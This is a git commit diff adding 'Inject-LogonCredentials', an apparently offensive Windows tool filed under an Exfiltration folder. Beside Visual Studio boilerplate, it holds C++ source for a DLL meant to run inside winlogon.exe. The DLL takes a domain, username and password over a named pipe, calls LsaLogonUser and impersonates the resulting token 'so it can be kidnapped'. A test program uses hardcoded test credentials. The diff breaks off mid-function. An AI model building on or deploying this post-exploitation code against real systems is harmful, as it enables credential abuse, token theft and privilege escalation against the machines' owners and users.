Adding Inject-LogonCredentials

16 files changed, 1014 insertions, 0 deletions

diff --git a/Exfiltration/LogonUser/LogonUser/LogonUser.sln b/Exfiltration/LogonUser/LogonUser/LogonUser.sln
new file mode 100644
index 0000000..890e833
--- /dev/null
+++ b/Exfiltration/LogonUser/LogonUser/LogonUser.sln
@@ -0,0 +1,26 @@
+
+Microsoft Visual Studio Solution File, Format Version 12.00
+# Visual Studio 2012
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "logon", "logon\logon.vcxproj", "{D248AC1C-B831-42AE-835A-1B98B2BF9DF3}"
+EndProject
+Global
+	GlobalSection(SolutionConfigurationPlatforms) = preSolution
+		Debug|Win32 = Debug|Win32
+		Debug|x64 = Debug|x64
+		Release|Win32 = Release|Win32
+		Release|x64 = Release|x64
+	EndGlobalSection
+	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{D248AC1C-B831-42AE-835A-1B98B2BF9DF3}.Debug|Win32.ActiveCfg = Debug|Win32
+		{D248AC1C-B831-42AE-835A-1B98B2BF9DF3}.Debug|Win32.Build.0 = Debug|Win32
+		{D248AC1C-B831-42AE-835A-1B98B2BF9DF3}.Debug|x64.ActiveCfg = Debug|x64
+		{D248AC1C-B831-42AE-835A-1B98B2BF9DF3}.Debug|x64.Build.0 = Debug|x64
+		{D248AC1C-B831-42AE-835A-1B98B2BF9DF3}.Release|Win32.ActiveCfg = Release|Win32
+		{D248AC1C-B831-42AE-835A-1B98B2BF9DF3}.Release|Win32.Build.0 = Release|Win32
+		{D248AC1C-B831-42AE-835A-1B98B2BF9DF3}.Release|x64.ActiveCfg = Release|x64
+		{D248AC1C-B831-42AE-835A-1B98B2BF9DF3}.Release|x64.Build.0 = Release|x64
+	EndGlobalSection
+	GlobalSection(SolutionProperties) = preSolution
+		HideSolutionNode = FALSE
+	EndGlobalSection
+EndGlobal
diff --git a/Exfiltration/LogonUser/LogonUser/LogonUser/LogonUser.cpp b/Exfiltration/LogonUser/LogonUser/LogonUser/LogonUser.cpp
new file mode 100644
index 0000000..f5b39fd
--- /dev/null
+++ b/Exfiltration/LogonUser/LogonUser/LogonUser/LogonUser.cpp
@@ -0,0 +1,137 @@
+// LogonUser.cpp : Defines the entry point for the console application.
+//
+
+#include "stdafx.h"
+
+using namespace std;
+
+size_t wcsByteLen( const wchar_t* str );
+void InitUnicodeString( UNICODE_STRING& str, const wchar_t* value, BYTE* buffer, size_t& offset );
+PVOID CreateNtlmLogonStructure(wstring domain, wstring username, wstring password, DWORD* size);
+size_t WriteUnicodeString(wstring str, UNICODE_STRING* uniStr, PVOID baseAddress, size_t offset);
+
+int _tmain(int argc, _TCHAR* argv[])
+{
+	//Get a handle to LSA
+	HANDLE hLSA = NULL;
+	NTSTATUS status = LsaConnectUntrusted(&hLSA);
+	if (status != 0)
+	{
+		cout << "Error calling LsaConnectUntrusted. Error code: " << status << endl;
+		return -1;
+	}
+	if (hLSA == NULL)
+	{
+		cout << "hLSA is NULL, this shouldn't ever happen" << endl;
+		return -1;
+	}
+
+	//Build LsaLogonUser parameters
+	LSA_STRING originName = {};
+	char originNameStr[] = "qpqp";
+	originName.Buffer = originNameStr;
+	originName.Length = (USHORT)strlen(originNameStr);
+	originName.MaximumLength = originName.Length;
+
+	ULONG authPackage = 0;
+	PLSA_STRING authPackageName = new LSA_STRING();
+	char authPackageBuf[] = MSV1_0_PACKAGE_NAME;
+	authPackageName->Buffer = authPackageBuf;
+	authPackageName->Length = (USHORT)strlen(authPackageBuf);
+	authPackageName->MaximumLength = (USHORT)strlen(authPackageBuf);
+	status = LsaLookupAuthenticationPackage(hLSA, authPackageName, &authPackage);
+	if (status != 0)
+	{
+		int winError = LsaNtStatusToWinError(status);
+		cout << "Call to LsaLookupAuthenticationPackage failed. Error code: " << winError;
+		return -1;
+	}
+
+	DWORD authBufferSize = 0;
+	PVOID authBuffer = CreateNtlmLogonStructure(L"VMWORKSTATION", L"testuser", L"Password1", &authBufferSize);
+		cout << "authBufferSize: " << authBufferSize << endl;
+
+	//Get TokenSource
+	HANDLE hProcess = GetCurrentProcess();//todo
+	HANDLE procToken = NULL;
+	BOOL success = OpenProcessToken(hProcess, TOKEN_ALL_ACCESS, &procToken);
+	if (!success)
+	{
+		DWORD errorCode = GetLastError();
+		cout << "Call to OpenProcessToken failed. Errorcode: " << errorCode << endl;
+		return -1;
+	}
+
+	TOKEN_SOURCE tokenSource = {};
+	DWORD realSize = 0;
+	success = GetTokenInformation(procToken, TokenSource, &tokenSource, sizeof(tokenSource), &realSize);
+	if (!success)
+	{
+		cout << "Call to GetTokenInformation failed." << endl;
+		return -1;
+	}
+
+
+	//Misc
+	PVOID profileBuffer = NULL;
+	ULONG profileBufferSize = 0;
+	LUID loginId;
+	HANDLE token = NULL;
+	QUOTA_LIMITS quotaLimits;
+	NTSTATUS subStatus = 0;
+
+	status = LsaLogonUser(hLSA, 
+		&originName, 
+		RemoteInteractive, 
+		authPackage, 
+		authBuffer,
+		authBufferSize, 
+		0, 
+		&tokenSource, 
+		&profileBuffer,
+		&profileBufferSize,
+		&loginId,
+		&token,
+		&quotaLimits,
+		&subStatus);
+
+	if (status != 0)
+	{
+		NTSTATUS winError = LsaNtStatusToWinError(status);
+		cout << "Error calling LsaLogonUser. Error code: " << winError << endl;
+		return -1;
+	}
+
+	cout << "Success!" << endl;
+
+	return 1;
+}
+
+//size will be set to the size of the structure created
+PVOID CreateNtlmLogonStructure(wstring domain, wstring username, wstring password, DWORD* size)
+{
+	size_t wcharSize = sizeof(wchar_t);
+
+	size_t totalSize = sizeof(MSV1_0_INTERACTIVE_LOGON) + ((domain.length() + username.length() + password.length()) * wcharSize);
+	MSV1_0_INTERACTIVE_LOGON* ntlmLogon = (PMSV1_0_INTERACTIVE_LOGON)(new BYTE[totalSize]);
+	size_t offset = sizeof(MSV1_0_INTERACTIVE_LOGON);
+
+	ntlmLogon->MessageType = MsV1_0InteractiveLogon;
+	offset += WriteUnicodeString(domain, &(ntlmLogon->LogonDomainName), ntlmLogon, offset);
+	offset += WriteUnicodeString(username, &(ntlmLogon->UserName), ntlmLogon, offset);
+	offset += WriteUnicodeString(password, &(ntlmLogon->Password), ntlmLogon, offset);
+
+	*size = (DWORD)totalSize; //If the size is bigger than a DWORD, there is a gigantic bug somewhere.
+	return ntlmLogon;
+}
+
+size_t WriteUnicodeString(wstring str, UNICODE_STRING* uniStr, PVOID baseAddress, size_t offset)
+{
+	const wchar_t* buffer = str.c_str();
+	size_t size = str.length() * sizeof(wchar_t);
+	uniStr->Length = (USHORT)size;
+	uniStr->MaximumLength = (USHORT)size;
+	uniStr->Buffer = (PWSTR)((UINT_PTR)baseAddress + offset);
+	memcpy((PVOID)((UINT_PTR)baseAddress + offset), str.c_str(), size);
+	return size;
+}
\ No newline at end of file
diff --git a/Exfiltration/LogonUser/LogonUser/LogonUser/LogonUser.vcxproj b/Exfiltration/LogonUser/LogonUser/LogonUser/LogonUser.vcxproj
new file mode 100644
index 0000000..7fd8de2
--- /dev/null
+++ b/Exfiltration/LogonUser/LogonUser/LogonUser/LogonUser.vcxproj
@@ -0,0 +1,158 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <ItemGroup Label="ProjectConfigurations">
+    <ProjectConfiguration Include="Debug|Win32">
+      <Configuration>Debug</Configuration>
+      <Platform>Win32</Platform>
+    </ProjectConfiguration>
+    <ProjectConfiguration Include="Debug|x64">
+      <Configuration>Debug</Configuration>
+      <Platform>x64</Platform>
+    </ProjectConfiguration>
+    <ProjectConfiguration Include="Release|Win32">
+      <Configuration>Release</Configuration>
+      <Platform>Win32</Platform>
+    </ProjectConfiguration>
+    <ProjectConfiguration Include="Release|x64">
+      <Configuration>Release</Configuration>
+      <Platform>x64</Platform>
+    </ProjectConfiguration>
+  </ItemGroup>
+  <PropertyGroup Label="Globals">
+    <ProjectGuid>{F9DC2AAF-2213-4D87-9F52-283DA1CC6E18}</ProjectGuid>
+    <Keyword>Win32Proj</Keyword>
+    <RootNamespace>LogonUser</RootNamespace>
+  </PropertyGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
+    <ConfigurationType>Application</ConfigurationType>
+    <UseDebugLibraries>true</UseDebugLibraries>
+    <PlatformToolset>v110</PlatformToolset>
+    <CharacterSet>Unicode</CharacterSet>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
+    <ConfigurationType>Application</ConfigurationType>
+    <UseDebugLibraries>true</UseDebugLibraries>
+    <PlatformToolset>v110</PlatformToolset>
+    <CharacterSet>Unicode</CharacterSet>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
+    <ConfigurationType>Application</ConfigurationType>
+    <UseDebugLibraries>false</UseDebugLibraries>
+    <PlatformToolset>v110</PlatformToolset>
+    <WholeProgramOptimization>true</WholeProgramOptimization>
+    <CharacterSet>Unicode</CharacterSet>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
+    <ConfigurationType>Application</ConfigurationType>
+    <UseDebugLibraries>false</UseDebugLibraries>
+    <PlatformToolset>v110</PlatformToolset>
+    <WholeProgramOptimization>true</WholeProgramOptimization>
+    <CharacterSet>Unicode</CharacterSet>
+  </PropertyGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
+  <ImportGroup Label="ExtensionSettings">
+  </ImportGroup>
+  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+  </ImportGroup>
+  <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+  </ImportGroup>
+  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+  </ImportGroup>
+  <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+  </ImportGroup>
+  <PropertyGroup Label="UserMacros" />
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
+    <LinkIncremental>true</LinkIncremental>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
+    <LinkIncremental>true</LinkIncremental>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
+    <LinkIncremental>false</LinkIncremental>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
+    <LinkIncremental>false</LinkIncremental>
+  </PropertyGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
+    <ClCompile>
+      <PrecompiledHeader>Use</PrecompiledHeader>
+      <WarningLevel>Level3</WarningLevel>
+      <Optimization>Disabled</Optimization>
+      <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+    </ClCompile>
+    <Link>
+      <SubSystem>Console</SubSystem>
+      <GenerateDebugInformation>true</GenerateDebugInformation>
+      <AdditionalDependencies>secur32.lib;%(AdditionalDependencies)</AdditionalDependencies>
+    </Link>
+  </ItemDefinitionGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
+    <ClCompile>
+      <PrecompiledHeader>Use</PrecompiledHeader>
+      <WarningLevel>Level3</WarningLevel>
+      <Optimization>Disabled</Optimization>
+      <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+    </ClCompile>
+    <Link>
+      <SubSystem>Console</SubSystem>
+      <GenerateDebugInformation>true</GenerateDebugInformation>
+      <AdditionalDependencies>secur32.lib;%(AdditionalDependencies)</AdditionalDependencies>
+    </Link>
+  </ItemDefinitionGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
+    <ClCompile>
+      <WarningLevel>Level3</WarningLevel>
+      <PrecompiledHeader>Use</PrecompiledHeader>
+      <Optimization>MaxSpeed</Optimization>
+      <FunctionLevelLinking>true</FunctionLevelLinking>
+      <IntrinsicFunctions>true</IntrinsicFunctions>
+      <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+    </ClCompile>
+    <Link>
+      <SubSystem>Console</SubSystem>
+      <GenerateDebugInformation>true</GenerateDebugInformation>
+      <EnableCOMDATFolding>true</EnableCOMDATFolding>
+      <OptimizeReferences>true</OptimizeReferences>
+    </Link>
+  </ItemDefinitionGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
+    <ClCompile>
+      <WarningLevel>Level3</WarningLevel>
+      <PrecompiledHeader>Use</PrecompiledHeader>
+      <Optimization>MaxSpeed</Optimization>
+      <FunctionLevelLinking>true</FunctionLevelLinking>
+      <IntrinsicFunctions>true</IntrinsicFunctions>
+      <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+    </ClCompile>
+    <Link>
+      <SubSystem>Console</SubSystem>
+      <GenerateDebugInformation>true</GenerateDebugInformation>
+      <EnableCOMDATFolding>true</EnableCOMDATFolding>
+      <OptimizeReferences>true</OptimizeReferences>
+    </Link>
+  </ItemDefinitionGroup>
+  <ItemGroup>
+    <Text Include="ReadMe.txt" />
+  </ItemGroup>
+  <ItemGroup>
+    <ClInclude Include="stdafx.h" />
+    <ClInclude Include="targetver.h" />
+  </ItemGroup>
+  <ItemGroup>
+    <ClCompile Include="LogonUser.cpp" />
+    <ClCompile Include="stdafx.cpp">
+      <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
+      <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader>
+      <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
+      <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader>
+    </ClCompile>
+  </ItemGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
+  <ImportGroup Label="ExtensionTargets">
+  </ImportGroup>
+</Project>
\ No newline at end of file
diff --git a/Exfiltration/LogonUser/LogonUser/LogonUser/LogonUser.vcxproj.filters b/Exfiltration/LogonUser/LogonUser/LogonUser/LogonUser.vcxproj.filters
new file mode 100644
index 0000000..f92726f
--- /dev/null
+++ b/Exfiltration/LogonUser/LogonUser/LogonUser/LogonUser.vcxproj.filters
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <ItemGroup>
+    <Filter Include="Source Files">
+      <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
+      <Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
+    </Filter>
+    <Filter Include="Header Files">
+      <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
+      <Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
+    </Filter>
+    <Filter Include="Resource Files">
+      <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
+      <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
+    </Filter>
+  </ItemGroup>
+  <ItemGroup>
+    <Text Include="ReadMe.txt" />
+  </ItemGroup>
+  <ItemGroup>
+    <ClInclude Include="stdafx.h">
+      <Filter>Header Files</Filter>
+    </ClInclude>
+    <ClInclude Include="targetver.h">
+      <Filter>Header Files</Filter>
+    </ClInclude>
+  </ItemGroup>
+  <ItemGroup>
+    <ClCompile Include="stdafx.cpp">
+      <Filter>Source Files</Filter>
+    </ClCompile>
+    <ClCompile Include="LogonUser.cpp">
+      <Filter>Source Files</Filter>
+    </ClCompile>
+  </ItemGroup>
+</Project>
\ No newline at end of file
diff --git a/Exfiltration/LogonUser/LogonUser/LogonUser/ReadMe.txt b/Exfiltration/LogonUser/LogonUser/LogonUser/ReadMe.txt
new file mode 100644
index 0000000..8275e56
--- /dev/null
+++ b/Exfiltration/LogonUser/LogonUser/LogonUser/ReadMe.txt
@@ -0,0 +1,40 @@
+========================================================================
+    CONSOLE APPLICATION : LogonUser Project Overview
+========================================================================
+
+AppWizard has created this LogonUser application for you.
+
+This file contains a summary of what you will find in each of the files that
+make up your LogonUser application.
+
+
+LogonUser.vcxproj
+    This is the main project file for VC++ projects generated using an Application Wizard.
+    It contains information about the version of Visual C++ that generated the file, and
+    information about the platforms, configurations, and project features selected with the
+    Application Wizard.
+
+LogonUser.vcxproj.filters
+    This is the filters file for VC++ projects generated using an Application Wizard. 
+    It contains information about the association between the files in your project 
+    and the filters. This association is used in the IDE to show grouping of files with
+    similar extensions under a specific node (for e.g. ".cpp" files are associated with the
+    "Source Files" filter).
+
+LogonUser.cpp
+    This is the main application source file.
+
+/////////////////////////////////////////////////////////////////////////////
+Other standard files:
+
+StdAfx.h, StdAfx.cpp
+    These files are used to build a precompiled header (PCH) file
+    named LogonUser.pch and a precompiled types file named StdAfx.obj.
+
+/////////////////////////////////////////////////////////////////////////////
+Other notes:
+
+AppWizard uses "TODO:" comments to indicate parts of the source code you
+should add to or customize.
+
+/////////////////////////////////////////////////////////////////////////////
diff --git a/Exfiltration/LogonUser/LogonUser/LogonUser/stdafx.cpp b/Exfiltration/LogonUser/LogonUser/LogonUser/stdafx.cpp
new file mode 100644
index 0000000..d213d3a
--- /dev/null
+++ b/Exfiltration/LogonUser/LogonUser/LogonUser/stdafx.cpp
@@ -0,0 +1,8 @@
+// stdafx.cpp : source file that includes just the standard includes
+// LogonUser.pch will be the pre-compiled header
+// stdafx.obj will contain the pre-compiled type information
+
+#include "stdafx.h"
+
+// TODO: reference any additional headers you need in STDAFX.H
+// and not in this file
diff --git a/Exfiltration/LogonUser/LogonUser/LogonUser/stdafx.h b/Exfiltration/LogonUser/LogonUser/LogonUser/stdafx.h
new file mode 100644
index 0000000..cb2a53f
--- /dev/null
+++ b/Exfiltration/LogonUser/LogonUser/LogonUser/stdafx.h
@@ -0,0 +1,20 @@
+// stdafx.h : include file for standard system include files,
+// or project specific include files that are used frequently, but
+// are changed infrequently
+//
+
+#pragma once
+
+#include "targetver.h"
+#include <stdio.h>
+#include <tchar.h>
+#include <iostream>
+#include <string>
+#include <Windows.h>
+#include <NTSecAPI.h>
+
+
+
+
+
+// TODO: reference additional headers your program requires here
diff --git a/Exfiltration/LogonUser/LogonUser/LogonUser/targetver.h b/Exfiltration/LogonUser/LogonUser/LogonUser/targetver.h
new file mode 100644
index 0000000..87c0086
--- /dev/null
+++ b/Exfiltration/LogonUser/LogonUser/LogonUser/targetver.h
@@ -0,0 +1,8 @@
+#pragma once
+
+// Including SDKDDKVer.h defines the highest available Windows platform.
+
+// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and
+// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h.
+
+#include <SDKDDKVer.h>
diff --git a/Exfiltration/LogonUser/LogonUser/logon/ReadMe.txt b/Exfiltration/LogonUser/LogonUser/logon/ReadMe.txt
new file mode 100644
index 0000000..605d341
--- /dev/null
+++ b/Exfiltration/LogonUser/LogonUser/logon/ReadMe.txt
@@ -0,0 +1,48 @@
+========================================================================
+    DYNAMIC LINK LIBRARY : logon Project Overview
+========================================================================
+
+AppWizard has created this logon DLL for you.
+
+This file contains a summary of what you will find in each of the files that
+make up your logon application.
+
+
+logon.vcxproj
+    This is the main project file for VC++ projects generated using an Application Wizard.
+    It contains information about the version of Visual C++ that generated the file, and
+    information about the platforms, configurations, and project features selected with the
+    Application Wizard.
+
+logon.vcxproj.filters
+    This is the filters file for VC++ projects generated using an Application Wizard. 
+    It contains information about the association between the files in your project 
+    and the filters. This association is used in the IDE to show grouping of files with
+    similar extensions under a specific node (for e.g. ".cpp" files are associated with the
+    "Source Files" filter).
+
+logon.cpp
+    This is the main DLL source file.
+
+	When created, this DLL does not export any symbols. As a result, it
+	will not produce a .lib file when it is built. If you wish this project
+	to be a project dependency of some other project, you will either need to
+	add code to export some symbols from the DLL so that an export library
+	will be produced, or you can set the Ignore Input Library property to Yes
+	on the General propert page of the Linker folder in the project's Property
+	Pages dialog box.
+
+/////////////////////////////////////////////////////////////////////////////
+Other standard files:
+
+StdAfx.h, StdAfx.cpp
+    These files are used to build a precompiled header (PCH) file
+    named logon.pch and a precompiled types file named StdAfx.obj.
+
+/////////////////////////////////////////////////////////////////////////////
+Other notes:
+
+AppWizard uses "TODO:" comments to indicate parts of the source code you
+should add to or customize.
+
+/////////////////////////////////////////////////////////////////////////////
diff --git a/Exfiltration/LogonUser/LogonUser/logon/dllmain.cpp b/Exfiltration/LogonUser/LogonUser/logon/dllmain.cpp
new file mode 100644
index 0000000..69b5891
--- /dev/null
+++ b/Exfiltration/LogonUser/LogonUser/logon/dllmain.cpp
@@ -0,0 +1,19 @@
+// dllmain.cpp : Defines the entry point for the DLL application.
+#include "stdafx.h"
+
+BOOL APIENTRY DllMain( HMODULE hModule,
+                       DWORD  ul_reason_for_call,
+                       LPVOID lpReserved
+					 )
+{
+	switch (ul_reason_for_call)
+	{
+	case DLL_PROCESS_ATTACH:
+	case DLL_THREAD_ATTACH:
+	case DLL_THREAD_DETACH:
+	case DLL_PROCESS_DETACH:
+		break;
+	}
+	return TRUE;
+}
+
diff --git a/Exfiltration/LogonUser/LogonUser/logon/logon.cpp b/Exfiltration/LogonUser/LogonUser/logon/logon.cpp
new file mode 100644
index 0000000..8011ed8
--- /dev/null
+++ b/Exfiltration/LogonUser/LogonUser/logon/logon.cpp
@@ -0,0 +1,258 @@
+// logon.cpp : Defines the exported functions for the DLL application.
+//
+
+#include "stdafx.h"
+
+using namespace std;
+
+size_t wcsByteLen( const wchar_t* str );
+void InitUnicodeString( UNICODE_STRING& str, const wchar_t* value, BYTE* buffer, size_t& offset );
+PVOID CreateKerbLogonStructure(const wchar_t* domain, const wchar_t* username, const wchar_t* password, DWORD* size);
+PVOID CreateNtlmLogonStructure(const wchar_t* domain, const wchar_t* username, const wchar_t* password, DWORD* size);
+size_t WriteUnicodeString(const wchar_t* str, UNICODE_STRING* uniStr, PVOID address);
+void WriteErrorToPipe(string errorMsg, HANDLE pipe);
+
+extern "C" __declspec( dllexport ) void VoidFunc();
+
+
+//The entire point of this code is to call LsaLogonUser from within winlogon.exe
+extern "C" __declspec( dllexport ) void VoidFunc()
+{
+	//Open a pipe which will receive data from the PowerShell script.
+	HANDLE pipe = CreateFile(L"\\\\.\\pipe\\sqsvc", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
+	if (pipe == INVALID_HANDLE_VALUE)
+	{
+		return;
+	}
+
+	const size_t strSize = 257;
+	size_t bytesToRead = strSize * sizeof(wchar_t) - sizeof(wchar_t);
+	wchar_t* domain = new wchar_t[strSize];
+	wchar_t* username = new wchar_t[strSize];
+	wchar_t* password = new wchar_t[strSize];
+	DWORD bytesRead = 0;
+
+	BOOL success = ReadFile(pipe, domain, strSize, &bytesRead, NULL);
+	if (!success)
+	{
+		return;
+	}
+	domain[bytesRead/2] = '\0';
+
+	success = ReadFile(pipe, username, strSize-2, &bytesRead, NULL);
+	if (!success)
+	{
+		return;
+	}
+	username[bytesRead/2] = '\0';
+
+	success = ReadFile(pipe, password, strSize-2, &bytesRead, NULL);
+	if (!success)
+	{
+		return;
+	}
+	password[bytesRead/2] = '\0';
+
+	//Get the logon type from the pipe
+	USHORT logonType = 10;
+	success = ReadFile(pipe, &logonType, 1, &bytesRead, NULL);
+	if (!success)
+	{
+		return;
+	}
+
+	//Get the authentication package to use. 1 = Msv1_0, 2 = Kerberos
+	USHORT authPackageToUse = 0;
+	success = ReadFile(pipe, &authPackageToUse, 1, &bytesRead, NULL);
+	if (!success)
+	{
+		return;
+	}
+	
+
+	/////////////
+	//Build the parameters to call LsaLogonUser with
+	/////////////
+
+	//Get a handle to LSA
+	HANDLE hLSA = NULL;
+	NTSTATUS status = LsaConnectUntrusted(&hLSA);
+	if (status != 0)
+	{
+		string errorMsg = "Error calling LsaConnectUntrusted. Error code: " + to_string(status);
+		WriteErrorToPipe(errorMsg, pipe);
+		return;
+	}
+	if (hLSA == NULL)
+	{
+		string errorMsg = "hLSA (LSA handle) is NULL, this shouldn't ever happen.";
+		WriteErrorToPipe(errorMsg, pipe);
+		return;
+	}
+
+	//Build LsaLogonUser parameters
+	LSA_STRING originName = {};
+	char originNameStr[] = "";
+	originName.Buffer = originNameStr;
+	originName.Length = (USHORT)0;
+	originName.MaximumLength = 0;
+
+	//Build the authentication package parameter based on the auth package the powershell script specified to use
+	//Also get the AuthenticationInformation
+	char* authPackageBuf = NULL;
+	DWORD authBufferSize = 0;
+	PVOID authBuffer = NULL;
+	if (authPackageToUse == 1)
+	{
+		authPackageBuf = MSV1_0_PACKAGE_NAME;
+		authBuffer = CreateNtlmLogonStructure(domain, username, password, &authBufferSize);
+	}
+	else if (authPackageToUse == 2)
+	{
+		authPackageBuf = MICROSOFT_KERBEROS_NAME_A;
+		authBuffer = CreateKerbLogonStructure(domain, username, password, &authBufferSize);
+	}
+	else
+	{
+		string errorMsg = "Received an invalid auth package from the named pipe";
+		WriteErrorToPipe(errorMsg, pipe);
+		return;
+	}
+
+	ULONG authPackage = 0;
+	PLSA_STRING authPackageName = new LSA_STRING();
+	authPackageName->Buffer = authPackageBuf;
+	authPackageName->Length = (USHORT)strlen(authPackageBuf);
+	authPackageName->MaximumLength = (USHORT)strlen(authPackageBuf);
+	status = LsaLookupAuthenticationPackage(hLSA, authPackageName, &authPackage);
+	if (status != 0)
+	{
+		int winError = LsaNtStatusToWinError(status);
+		string errorMsg = "Call to LsaLookupAuthenticationPackage failed. Error code: " + to_string(winError);
+		WriteErrorToPipe(errorMsg, pipe);
+		return;
+	}
+
+	//Get TokenSource
+	HANDLE hProcess = GetCurrentProcess();//todo
+	HANDLE procToken = NULL;
+	success = OpenProcessToken(hProcess, TOKEN_ALL_ACCESS, &procToken);
+	if (!success)
+	{
+		DWORD errorCode = GetLastError();
+		string errorMsg = "Call to OpenProcessToken failed. Errorcode: " + to_string(errorCode);
+		WriteErrorToPipe(errorMsg, pipe);
+		return;
+	}
+
+	TOKEN_SOURCE tokenSource = {};
+	DWORD realSize = 0;
+	success = GetTokenInformation(procToken, TokenSource, &tokenSource, sizeof(tokenSource), &realSize);
+	if (!success)
+	{
+		string errorMsg = "Call to GetTokenInformation failed.";
+		WriteErrorToPipe(errorMsg, pipe);
+		return;
+	}
+
+	//Misc out parameters
+	PVOID profileBuffer = NULL;
+	ULONG profileBufferSize = 0;
+	LUID loginId;
+	HANDLE token = NULL;
+	QUOTA_LIMITS quotaLimits;
+	NTSTATUS subStatus = 0;
+
+	//Log on the user
+	status = LsaLogonUser(hLSA, 
+		&originName, 
+		static_cast<SECURITY_LOGON_TYPE>(logonType), 
+		authPackage, 
+		authBuffer,
+		authBufferSize, 
+		0, 
+		&tokenSource, 
+		&profileBuffer,
+		&profileBufferSize,
+		&loginId,
+		&token,
+		&quotaLimits,
+		&subStatus);
+
+	if (status != 0)
+	{
+		NTSTATUS winError = LsaNtStatusToWinError(status);
+		string errorMsg = "Error calling LsaLogonUser. Error code: " + to_string(winError);
+		WriteErrorToPipe(errorMsg, pipe);
+		return;
+	}
+
+	
+	//Impersonate the token with the current thread so it can be kidnapped
+	ImpersonateLoggedOnUser(token);
+
+	//Put the thread to sleep so it can be impersonated
+	string successMsg = "Logon succeeded, impersonating the token so it can be kidnapped and starting an infinite loop with the thread.";
+	WriteErrorToPipe(successMsg, pipe);
+	HANDLE permenantSleep = CreateMutex(NULL, false, NULL);
+	while(1)
+	{
+		Sleep(MAXDWORD);
+	}
+
+	return;
+}
+
+
+PVOID CreateKerbLogonStructure(const wchar_t* domain, const wchar_t* username, const wchar_t* password, DWORD* size)
+{
+	size_t wcharSize = sizeof(wchar_t);
+
+	size_t totalSize = sizeof(KERB_INTERACTIVE_LOGON) + ((lstrlenW(domain) + lstrlenW(username) + lstrlenW(password)) * wcharSize);
+	KERB_INTERACTIVE_LOGON* ntlmLogon = (PKERB_INTERACTIVE_LOGON)(new BYTE[totalSize]);
